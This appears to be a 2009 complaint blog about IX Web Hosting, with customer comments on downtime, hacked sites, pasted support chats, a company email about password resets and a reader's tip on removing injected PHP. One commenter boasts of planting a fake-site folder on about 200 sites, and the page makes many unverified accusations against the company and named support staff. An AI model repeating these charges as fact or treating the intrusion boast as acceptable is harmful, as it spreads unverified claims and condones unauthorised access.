Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com.I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.

Matt, 07th 2009f February, 2009

Hello, THE SERVER IS DOWN AGAIN. Two days ago it was down for 4 hours then yesterday 3 hours.. now today it has been down for over 2 hours. I need a working server. ixwebhosting has the worst servers possible. So much downtime. They wont refund you either.

Help!, 05th 2009f February, 2009

Hello, can someone tell me what to do? ixwebhosting.com server has been down again and again. This is at least the 10th time in the last 12 hours. What is happening? This is our 5th complaint with them but they are not fixing it. It will maybe work for 1 hour then go back on error.

Richard, 05th 2009f February, 2009

Oh my GOD! The server is down again.. I’m going to move my websites ASAP.. ixwebhosting really sucks… we have to complain every day. I’m sure they have so many compplaints. Their servers are maybe just poorly managed. But it’s bad.

Richard, 05th 2009f February, 2009

Hello, I just checked the server. It is now working but after 4 hours of downtime. This is really unprofessional hosting. It’s cheap but you really get worse than what you pay for. Ixwebhosting.com is cheap and bad. I would rename it ixwebrobbing.com

John – HELP SERVER DOWN, 05th 2009f February, 2009

Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs.Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possibleyou: pls .. it has been down for 1 hour you: every day down Lesya Geychenko: I am so sorry, our admins are working on the issue Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution you: we have already you: what’s going on? you: over 1 hour you: hello, any updates so far? Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish you: please Lesya Geychenko: The issue should be fixed within 15 minutes you: ok Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins you: ok Lesya Geychenko: They maintain the server longer than I have expected Lesya Geychenko: The server will be up in 60 minutes you: ixwebhosting is really unreliable…..

ixwebhosting.com, 05th 2009f February, 2009

Hello we understand our server is down for about 1 hour. We will fix it as soon as possible. Please do not bother us with your enquiries because it wastes our time. We are trying our best. If you don’t like it, please do not contact us or join our excellent web hosting server. You can see on this website we are rated very high. We are not interested in people just complaining and bothering us about our servers. We know it is currently experiencing problems but we will fix it!

Heidi, 03rd 2009f February, 2009

Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.

Matt, 02nd 2009f February, 2009

The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.

IX Web Hosting changes ALL FTP Passwords without warning.

During the past 2 days I have been bombarded with unhappy IX Web Hosting customers that can no longer update / change their files because IX Web Hosting changed  ALL FTP Passwords without warning.

Here is one  Email I recieved today.

Dear  ******,

We would like to inform you of the new security updates we are making at IX Web Hosting. In our ongoing efforts to maintain security, we have dedicated our system administration team to investigating all possible vulnerabilities. One of the necessary updates we are making to enhance security is to change all FTP passwords. This will ensure that all of the protective measures we have and will be taking remain impervious to outside influence – this includes any security compromises that exist on the Internet that may negatively affect your account.

If you experience any problems logging in to your account via FTP, please take a look at the following information to regain FTP access.

You can visit http://www.ixwebhosting.com/index.php/pages.manual14 for an in-depth tutorial with screenshots on how to update your FTP password, or you can follow the simple steps below.

• Visit https://manage.ixwebhosting.com and login.
• Look for the section called “Hosting Products” and click on the Manage button for your hosting account.
• Look for an icon called “FTP Manager” and click on it. In this area, you will find an icon that resembles a pencil and paper. Click on it to change your FTP password. Please note: to ensure the security of your website, you should not use the same password as your previous password.

It is always recommended that you choose a strong password. We have provided you with a website which will help evaluate the strength of the password you choose:
http://www.microsoft.com/protect/yourself/password/checker.mspx

We are in the process of performing several upgrades to strengthen security. As new developments are made on the server-side and in regards to your FTP account, we will be sure to keep you informed!

We would like to sincerely thank you for your understanding and also, of course, for hosting with us. If you have any questions about this topic, please contact us via ticket, live chat or our 24/7 phone support. We are here for you 24/7 and would be happy to address any concerns you might have!

Thanks again,

Sammie Taunton
Director of Customer Relations
http://www.ixwebhosting.com 

————–

I thought it was a scam because all the links pointed to “rs6.net“, so I just ignored it for a while.

Later in the evening, I was going to forward the email to IXWebhosting, but on a lark decided to check out rs6.net, and found out it was a mass email company.  It then occurred to me that IX might have used them, so I started digging into my sites.

I did indeed find that they had hosed ALL of my FTP passwords.  This is not a big deal if you are just uploading static HTML pages with pictures of your puppies, but I have 16 sites on a PHP CMS I wrote myself.  Since every site has at least one unique FTP password, and they are scattered here and there (trying to be somewhat unspecific on purpose 😉  ) it’s going to take a while to change all this.

I tried to call IX, but of course the wait was an hour, so to amuse myself I started a chat session with “customer support”.  Yes, those quotes are there for a reason.  I realize this may not place me in the best light, but I was REALLY ticked off.  Here’s the transcript of the chat…

—————————————————————————-

Chat InformationPlease wait for a site operator to respond.

Chat InformationYou are now chatting with ‘Kirill Skripka’

Kirill Skripka: Hello, my name is Kirill. How can I help you today?

you: I got a VERY strange email today about changing my FTP passwords – I think it’s a scam – have you seen it yet, or do you know anything about it?

Kirill Skripka: That is e-mail from us. Please change your password for the FTP from your Control panel->FTP manager->Password

Kirill Skripka: All password were changed, due to ProFtpd upgrade on the server side

Kirill Skripka: Please change your FTP password and try to connect to your site via FTP again

you: Are you guys out of your minds????? How about a little notice???? I have a lot of programming changes to make for several sites!!!!!!

you: Why isn’t there anything about this on the Control Panel?

Kirill Skripka: We have send notification e-mail to all costumers

you: No, you sent notification that you had DONE it, not that you were GOING to do it

Kirill Skripka: yes, that was notification. If we sent e-mail before changing password then could be misunderstanding about when exactly we will change it and other. Also we could not check if you have read our pre-notification and only then start to change passwords

Kirill Skripka: We are honestly apologize for inconveniences caused to you

you: Do you have any REAL programmers there???? I have like 16 sites I have to change RIGHT NOW. What is WRONG with you people????????

you: You have to be out of your freaking mind if you think this is good customer service!!!!!!!

you: I’m on hold on the phone line – I’ll be speaking to a supervisor. I figure I’ll be on hold for about 90 mins. at the rate it’s going.

you: And by the way – the email LOOKS like a scam. I’m not even sure I’m really talking to IXWebhosting here.

Kirill Skripka: We are sorry again, but that was necessary move to change FTP passwords

you: Actually, no, it wasn’t. You could have let us know this was GOING to happen. I’m gonna have a bunch of VERY pissed off customers. Not unlike the way I’m pissed off with IXWebhosting right now.

you: Is there anything on the site about this?

Kirill Skripka: there should not be anything on the site. It is not non-costumers business that we have something change to our costumers. They are not allow to see that info just view our site. We have sent e-mail.

you: That’s a bunch of crap and you know it. Or you should.

you: This is completely unacceptable. I’m going to be up half the night trying to fix this.

you: Explain to me again as best you can why this had no notice.

you: Did it not occur to anyone that there might be programming issues on sites to deal with????

you: As for non-customer business – I can understand that – BUT THE EMAIL LOOKS LIKE A SCAM

Kirill Skripka: We did notice you. E-mail is the best way to do it. Pre-information will not be fine.

you: Look, child, do you have any programming experience?

you: Have you ever dealt with anything like this?

you: Do you have a supervisor there with any experience?

you: Actually, in one regard you are correct – email is the best way to contact us – but an email pointing to a page visible to us AFTER we sign in, and with a notice that “in 48 hours (or whatever) we will be upgrading…blah, blah, blah…”

you: Honestly, this is BUSH league. I will be copying this chat exchange and putting it onto a blog for other people to see.

you: People need to know what kind of stuff IXWebhosting pulls

Kirill Skripka: I want to inform you of the new security updates we are making at IX Web Hosting. In our ongoing efforts to maintain security, we have dedicated our system administration team to investigating all possible vulnerabilities. One of the necessary updates we made to enhance security was to *change all FTP passwords*. This will ensure that all of the protective measures we have and will be taking remain impervious to outside influence – this includes any security compromises that exist on the Internet that may negatively affect your account. We are in the process of performing several upgrades to strengthen security. As new developments are made on the server-side and in regards to your FTP account, we will be sure to keep you informed!

you: Yes, thank you, I read it the first time. It doesn’t make any more sense now than it did when I first read it. The problem is THERE WAS NO NOTICE. I have to go SITE BY SITE and see if there is anything I have to change. My hope is the existing passwords are all still working.

you: Honestly – do you think I had nothing better to do tonight than change all my sites. WHAT WERE YOU THINKING!!!!!???? WERE YOU THINKING??????

you: Is there a supervisor available?

Kirill Skripka: Please note, that changing FTP password do not affect your site work  [NOTE:  I LOVED this line!  >.<]

Kirill Skripka: but you should change it to be able upload your files with FTP connection

you: You are REALLY stupid. Excuse me, but you are. THE FTP passwords are in the programs that my customers use to upload files.

you: They are embedded in the programs I wrote.

you: DO YOU HAVE A SUPERVISOR?????

Kirill Skripka: Yes, we have

you: THEN PLEASE PUT THE SUPERVISOR ON

Kirill Skripka: hold on please, let me transfer you to my supervisor

you: Thank you

Chat InformationPlease wait while I transfer the chat to ‘Yuliya Gordeeva’.

Chat InformationYou are now chatting with ‘Yuliya Gordeeva’

Yuliya Gordeeva: Hello, my name is Yuliya.

you: First, Yuliya – are you Kirill’s supervisor?

Yuliya Gordeeva: Let me read your conversation with Kirill

Yuliya Gordeeva: yes, I am

you: While you’re reading – I realize you probably can’t do anything about any of this – but I’m REALLY pissed off. This is completely unacceptable – both the way the change was handled and the idiot advice from Kirill

Yuliya Gordeeva: Please accept my apologies for some misunderstanding in the previous conversation

Yuliya Gordeeva: Let me draw your attention to that fact that our system administrators are investigating the problem related to the security of our servers in order to help customers protect their websites from any hack attempts. That is why changing all FTP password was an urgent action. Please accept my apologies that we have not informed you about such actions.

you: Yes, you sent me an email telling me you had already done it, not that you were going to do it. ALL MY SITES ARE BROKEN – EVERY LAST ONE. Well, I take that back, I’ve checked about four of them, but I’m certain they are all hosed

you: This is not in the presentation of the site to the public, but rather in the administration of the site by my clients.

Yuliya Gordeeva: As you already know we are in process of updating Apache on all

Yuliya Gordeeva: servers from 1.3.1 to 1.3.36, ProFTPd from 1.3.1 to 1.3.2

you: Again – if I’d had some notice, I could have made this a relatively transparent change.

you: Sorry, no, didn’t know that – no one notified me

you: It’s not that big a deal to me – I like upgrades, as a rule, but I needed some notice.

Yuliya Gordeeva: I’m sorry, but all your websites are not broken due to that fact that we have changed only your FTP password. Please understand that if such changes have not made all the websites can be hacked or affected by any malware

you: Since this one BROKE my passwords, it has a larger than normal effect

Yuliya Gordeeva: So all the actions were turned to increase the security of your websites

you: Excuse me, but as a matter of fact they ARE broken. I just tried several of them – not on the front end, but on the site administration for MY clients – through the PHP CMS I wrote

Yuliya Gordeeva: Please understand that you need to change only your FTP password and then use your new password to access your FTP

you: Again, I appreciate upgrading the security, but you made a false assumption that changing those passwords had a very small effect

Yuliya Gordeeva: Kindly please give it a tty

you: I’m number two on the telephone cue – I’ll see if someone there has more understanding of this. Have you ever tried programming FTP functions in PHP?

Yuliya Gordeeva: Please be sure that changing FTP password is not the only one change we made

you: It is relatively simple, but I have a lot of places to change it.

you: Thanks – I’m aware of that, and I really do appreciate the upgrade – I REALLY DO! But since they changed my passwords without any notice, I’m in a bit of a bind for time to fix it.

Yuliya Gordeeva: Please note that some widespread trojans have a functions to steal FTP passwords from user`s local PC`s and send these passwords to hackers (or special bots which were made by hackers). So please imagine that some of the password were stolen before we made such changes

Yuliya Gordeeva: and how many websites will be hacked if passwords are still the same

you: Yes, I know. It’s a very old problem. One I’m not sure we’ll ever beat as a computing community.

you: It’s not like I have a choice here, is it? 🙂

Yuliya Gordeeva: I’m really sorry that we made a couple problems for you by these changes but I hope that all that we are doing right now will save you and your websites from any hacking alerts

you: Gosh, thanks so much. Actually, it’s about 16-20 passwords, and 16-20+ scripts to change them in.

you: They were all random characters already.

Yuliya Gordeeva: I would like to assure you that we are trying to provide the best services including web service and fast technical support. We are working hard to prevent any issues from happening and doing our best in order to advance the level of services provided.

Yuliya Gordeeva: Yes, I really understand you

you: Yes, thanks. You’ve been so helpful.

Yuliya Gordeeva: You are always welcome!

you: I’ll talk to the phone support and let them know how REALLY UNHAPPY I am.

Yuliya Gordeeva: Again we deeply apologize for all inconveniences you have faced with our services and would like to say that we are more than thankful for your great patience and understanding. We will do our best to satisfy you as our customer and provide an upper-scale support and services to you.

Yuliya Gordeeva: I’m sorry, but there is really no way to restore previous passwords

Yuliya Gordeeva: So kindly please change it to the new ones

you: I’ll get right on that…

Yuliya Gordeeva: ok, that’s great. Thank you very much!

————–

(sigh)  I then talked to someone with a little better command of the English language on phone support, and he said something to the effect that he’d come on at 10:30 PM and when he heard what they had done he knew it was going to be a bad night.

Well, I’m looking for a new host.  Please feel free to post any of this you would like.

Tip from a reader “How to clean the Yahoo Counter Injection Script”

Hey buddy, 
nice website, i wish i had seen it before I renewed my contract with the crooks at IX for 2 more years…
well, i am writing because i couldn`t find on your website a solution to clean the infections automatically. so maybe you want to post a solution:

here is what I did:

1 – download the entire site
2 – Open an infected file with Adobe Dreamweaver
3 – Look for the infected code, select all of it and copy it to the clipboard (starts with “<?php if(!function_exists(‘tmp_lkojfghx’))…”). You must copy ALL the code!
4 – Still on dreamweaver, click on EDIT>FIND AND REPLACE
5 – on the FIND box you paste the infected code 
6 – On the FIND IN dropdown select FOLDER and point it to the folder where your website was downloaded.
7 – click on REPLACE ALL (dreamweaver will replace the code with whatever is on the REPLACE box, as we didn’t write anything there, it will clean the code)

I found out that all the infected files on my sites had exactly the same code, so it was quite fast to remove them.

 

Ivan

Thanks Ivan for your feedback, I hope this helps others, also sorry to hear your sites are still constantly being injected. It’s clear that IX Web Hosting still has not got a clue how to solve this issue, and on top of this they are having 3 other mayor issues to deal with.

IX Web Hosting has SERIOUS database Issues and lots more

In the past months, 1000’s of IX Web Hosting’s customers finally turned their back on the “Cheap, Unreliable and Insecure ” Web Host. This was due to the fact that more than 140,000 sites were hacked and injected on a WEEKLY bases, things got so bad that even the “Backups” were infected and deemed useless.
From   May 2008 onwards IX Web Hosting continueously blamed their customers, mayor search engines, WordPress, Joomla, and every script on the market, actually, it was everyone’s fault, except IX Web Hosting.

The past 4 weeks I have recieved and seen an alarming amount of customers furious about the “Downtime” of their sites.

Downtimes of  6+ hours is normal…

I am curious who IX WEB HOSTING is going to blame this time

Shira, 12th 2009f February, 2009

We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done. Pete, 11th 2009f February, 2009 AVOID like the plague!!! Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site. If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted. Try www.**********.com. They cost a bit more but you get what you pay for. F**K YOU IX, 10th 2009f February, 2009 I’m so sick of the feeble excuses ix web hosting come up with. I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!! It really is time to get a class case together and sue IX for compensation. Erik, 09th 2009f February, 2009 All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on. Milano, 09th 2009f February, 2009 Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus. IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB Herman, 08th 2009f February, 2009 Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response. So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it! This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them. Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.   elawcase@gmail.com, 07th 2009f February, 2009 Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com. I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server. John – HELP SERVER DOWN, 05th 2009f February, 2009 Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs. Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possible you: pls .. it has been down for 1 hour you: every day down Lesya Geychenko: I am so sorry, our admins are working on the issue Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution you: we have already you: what’s going on? you: over 1 hour you: hello, any updates so far? Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish you: please Lesya Geychenko: The issue should be fixed within 15 minutes you: ok Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins you: ok Lesya Geychenko: They maintain the server longer than I have expected Lesya Geychenko: The server will be up in 60 minutes you: ixwebhosting is really unreliable….. Heidi, 03rd 2009f February, 2009 Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.   Matt, 02nd 2009f February, 2009 The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.   George , 30th 2009f January, 2009 If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.

Top 10 Search Terms Feb 8 and 9

A list of the top 10 Searches of people landing on this blog. This is what people are searching.

Today

ixwebhosting   Reviews
ixwebhosting htaccess  
ixwebhosting hacked  
ixwebhosting injection .htaccess  
ix webhosting hack  
rip off hosting account   
ixwebhosting cannot connect to database   
ix web hosting htaccess deleted  
ixwebhosting php issue  
how is my site getting hacked? ixwebhost  

Yesterday
 
ixwebhosting hacked  
ixwebhosting  
my php file infected contains iframe cou  
infected website with directed wedsites  
fake yahoo counter  
ixwebhost php wordpress problems?  
ix webhosting reviews
ixwebhosting injection .htaccess  
ix webhosting injection  
ix web hosting virus issue

Daily Top 10 Searches to this blog

As of today I am going to post the  TOP 10 Search Engine Terms  people use to find this site.

As you will see, there are a lot of issues going on.

Search Engine Terms

These are terms people used to find this blog.

Todays  Search 

1. ix hacked  
2. ixwebhosting virus  
3. ixwebhosting hacked  
4. ixwebhosting  
5. ix webhosting hacked 2008  
6. https://ixwebhostwarning.wordpress.com/  
7. ix web hosting has been hacked  
8. https://ixwebhostwarning.wordpress.com  
9. ix webhosting htaccess  
10. ixwebhosting .htaccess hack  

Yesterdays  Search 

1. ixwebhosting hacked  
2. ixwebhosting malware  
3. ixwebhosting malicious  
4. fix ixwebhosting .htaccess  
5. modlogan hacked  
6. htaccess exploit passwords ixwebhosting  
7. ixwebhosting exploited  
8. how to remove yahoo counter injection fr  
9. access htaccess ixwebhosting  
10. ixwebhosting hack

Join forces to SUE IX Web Hosting

[ from an ix webhosting customer ]

Anyone interested in joining forces to sue ixwebhosting.com due to their bad, insecure servers and not providing what they promise, please contact us at elawcase@gmail.com

I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.

IX Web Hosting Reviews Jan. 2009

George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.  
 
Paolo, 23rd 2009f January, 2009
After reading the reviews about the servers / database’s slowing down at a certain time, I checked my log files, and it’s true, like clock work at 2 am every night they come to standsill intill 7.30 am then they pick up again. I posted a support ticket, after almost 24 hours I finally got a response telling me the ticket has been forwarded to support!!!!!… What is the point of that??.
I am looking into moving my sites to HostGator. 
 
Gary, 22nd 2009f January, 2009
I am so sick and tired of ix web hosting!
I have had nothing but problems with them. Their support is useless, rude and they lie.
For the truth visit
https://ixwebhostwarning.wordpress.com/
 
Marky, 22nd 2009f January, 2009
Hacked, Injected, De-Faced, Slow, Useless Support and lots more.
IX is 100% USELESS!!
 
jack, 21st 2009f January, 2009
The server of ixwebhosting is down now. It has been on and off and stalling for the past month.. they keeps saying it was fixed but it isn’t. It’s very upsetting. We have had to complain and make complaints every day three times…. anyone know of a better hosting for Windows?  
 
Melanov, 21st 2009f January, 2009
haha, i know how ixwebhosting is being attacked, I know who is behind the injecting. Over a year ago we contacted ix explaining they had problems, we had a very rude reply telling us it was lies, and the servers were secure. We added a folder with a fake website to at least 200 websites. Now ix wanted to listen, and even offered to pay per security issue.. but now it is too late.
ixwebhosting should listen when help is offered.
 
Gerald W, 21st 2009f January, 2009
I am in the process of moving my 12 sites from ix, I never had a problem with them for over 3 years, but as of November it has been one injection after the other. IX is not willing to help customers, instead they just want their money, and point the finger at customer once EVERY site on the servers are injected.
Don’t waste your time or money on these people.
 
Michael, 18th 2009f January, 2009
I completely agree with Blake, every night at midnight ALL my sites on two buisness accounts come to a screeching halt, everynight I call ix, and they appologize, and tell me they will find the cause and firewall the site, or even suspend the site(s) causing the slowdown, but this has been going on for weeks.
Also, I use “Mailwasher” that connects to my mailserver every 10 minutes, and every morning when I check mailwasher, I get an error log telling me that it could not connect to the server, with at least 20 times that it could not connect to the server.
It’s time to drop ix web hosting
AVOID
 
Blake, 17th 2009f January, 2009
I am totally and completely disgusted with IX Webhosting. It used to be a great host and I recommended it to everyone I could. But something has changed. I believe they got sold. Since then, we have had nothing but endless trouble with this host…

Last year, they proudly moved to a new Data Center. Of course this caused us problems for several months. They kept apologizing, but the problems persisted. After a very long period, things calmed down and remained that way until November…

Without prior warning, IX moved our site to a new server in November. After 60+ hours of calling, using Live Chat, and using the ticket support system, they finally worked out most problems. I felt like I had to beg to get IX to help resolve the problems that they created. I lost an entire weekend fighting them. The IX response times average between 12-24 hours…

Then again this January, IX updated all of our cgi-bin files in our domain and all of our sub-domains recreating the problems that were caused in November’s unnecessary server move. Again, it took over 60+ hours to get our site up and running. I had to find workarounds to get our site up and running, and amazingly, IX tried to take credit for getting our site up and running again even though they had nothing to do with it…

Even though our site is up and running now, we still have many problems. After 176 hours of fighting IX for help, they have yet to correct the Cron job errors that still plague our site…

The last two days, the server has crashed in the evening requiring another call to IX to get the server restarted/reset and our site back online. This was the same pattern that plagued us after the Data Center move last year. And early every morning, the page load response times drag down to a crawl. This seems to start between midnight and 4 AM every single night. The other day, the slowness continued well into the following day. We get an apology from IX each time this happens, but they don’t seem to be doing anything to permanently correct it…

IX has tried very hard to blame these problems on our code, which worked fine before the server move in November and again up until January. IX does not want to take responsibility for their actions and it is frustrating and disgusting dealing with them. I cannot in good conscience recommend IX Webhosting to anyone until they improve the skills of their own Technical Support staff. It wouldn’t hurt if they hired a few more knowledgeable people to improve their response times too. Waiting 12-24 hours for each new response to a ticket is totally unacceptable. With IX’s lack of effort, a resolution to a problem can drag on for days and weeks. IX does the bare minimum to assist its clients and they do it as slow as they possibly can…

Dealing with IX technical support gets real old real fast. I wouldn’t wish this on anyone…
 
 
Hans, 17th 2009f January, 2009
Do not believe their “Money Back Guarantee” After 3 weeks I requested a refund, and I only got about 30% of the full sum, they even charged me $20 for a .com, $20!!!, I can get these for $4.95.
Stay Away from these idiots  
 ett, 11th 2009f January, 2009
If IX is no 3 in the Top 10 companies list, what is the service level provided by those below on the list? Must be pretty terrible, eh?!
I have experience from IX as well as other hosts. Of the ones I’ve used, IX is the worst, one.com (in Denmark!!) has given me the best value for money.
 
Mike, 10th 2009f January, 2009
Bloody USELESS!
 
Muluut, 10th 2009f January, 2009
I am now just 3 months hosting with ix hosting and every day I having big problems. these people do not help and all my sites are hacked. I ask for backup and they tell me backups are no good, backups are hacked same as websites
ix hosting is no good for hosting.
 
Laurie, 10th 2009f January, 2009
With them for about 2-4 years. Was OK, nice customer service but innefficient now that I am ahving BIG problems – and now has been a nightmare since January 1st 2009. Now all my six websites are not even loading. Not even an error message! “server taking too long to respond” My site was hacked apparently (never happened in 10 years) and since then problems everyday. Even google has put a warning to visitors about malware from my site. My Google results have dropped completly Now have been pfflne for 24 hours. Disaster. Will change. I was told they are having problems with one of their servers. I don’t care. I’m changing. Will pay more for more. 
 
Jonathan, 09th 2009f January, 2009
I too have been with IX for just under 4 years, and I too have pure html sites, I have 7 websites, I have always been very happy with IX, and up until September 2008 I had never had any issues. But since September my sites have been hacked, changed and re-directed on a weekly basis. IX keeps telling me about folder permissions and Ftp viruses, but I do not run any scripts, and do not have any folders, so I know that cannot be the cause. I will be moving all my sites to another host. 
 
Archer Rejn, 09th 2009f January, 2009
I have been with IX for already 4 years and have never had any problems. May be cause I do not use any free php applications like wp or Joomla ? All my sites are html files with some Java scripts. I have never been hacked and all my sites load pretty fast. 
 
Magix, 09th 2009f January, 2009
Don’t waste your time or money on these people. 100% USELESS! 
 
kjett, 09th 2009f January, 2009
There is at least one positive aspect of using IX, viz. you learn a lot about the perils of using a web host without sufficient technical knowledge and/or security routines.
You learn that you yourself have to take responsibility for implementation of all the precautions needed, such as recurrently (frequently) making sure your hosted domains haven’t been hacked, having all directories properly chmod-ed and .htaccess-ed, and keeping updated backups on a local server.
These security routines will prove to be useful when you move to a hopefully more competent and secure web host.
 
beyaz, 06th 2009f January, 2009
have the same problem!!!! they are just after money instead of clearing their s**t!
 
George W Bush, 05th 2009f January, 2009
Don’t waste your time with these people, they are just a bunch of incompetent retards.
 
Sammy J, 05th 2009f January, 2009
4 days ago my 6 sites were injected with code, I spent 2 full days cleaning my sites, ix wanted to charge me $80 and hour to clean them, today all 6 sites are injected yet again.. I’m moving to another host, People, beware of IX they do not give a damn about your sites, all they want is your money. 
 
Anita, 03rd 2009f January, 2009
Add me to the list of customers that have been affected by ix’s .htaccess vunerability, and yes they are blaming me, the best part is, they are willing to fix this for me for $80 !! 
 
Roger no Kids, 02nd 2009f January, 2009
@ Roger Kids..
You TWAT!!..
People don’t like IX because they HAVE tried them!!.. If you haven’t tried them, how is a person suposed to know if they like them or not?..
All a person can expect, is what they are promised and what they pay for.. NO MATTER what the price is.
IX are RIP OFF’S they promise, take your money and accuse you for their incompetance.
 
Roger Kids, 01st 2009f January, 2009
Cmon` guys. If you don`t like IX why you choose it? Try to spin around for hosting which is better and cheaper. Let`s see what u`ll get

IX Web Hosting’s PHP Upgrade Notification

Dear Nicole **********,

We are happy to inform you that over the next two weeks we will upgrade PHP to the latest 4.x version (4.4.9) on the web server your website is currently being hosted on. This upgrade will resolve many security exploits and make services more stable.

As part of this upgrade, we will migrate from an Apache Module to a CGI based installation that gives you more control over many PHP settings. Once implemented, you will have the ability to upload your very own php.ini file into your cgi-bin folder as needed.

After the upgrade, your website may experience a few errors, all of which can be quickly resolved. Most are caused by having PHP directives inside an .htaccess file.

To fix this problem, simply login to your control panel and click on the WebShell icon. The .htaccess file will not be viewable unless you have “show hidden files” checked in your WebShell settings. Open the .htaccess file and remove any lines that start with “php_”. If you need to retain these settings, then they must now go into a php.ini file and placed into your cgi-bin folder.

If you are running PHP in any of your HTM/HTML files, please add this line to your .htaccess file:
AddHandler php-script .php .php3 .php4 .htm .html .phtml

If you have any questions or concerns about this upgrade, please do not hesitate to contact us 24/7 via live chat, ticket, or phone support and we will be glad to assist.

I hope you will enjoy the new features and increased security!

Best Regards,

Fatima Said, CCO
IX Web Hosting

IX Web Hosting still blames 777 permissions

Hundreds of unhappy IX Web Hosting Customers are contacting me, telling me they are still being blamed for the Yahoo Counter Script Injection and the .htaccess hack.

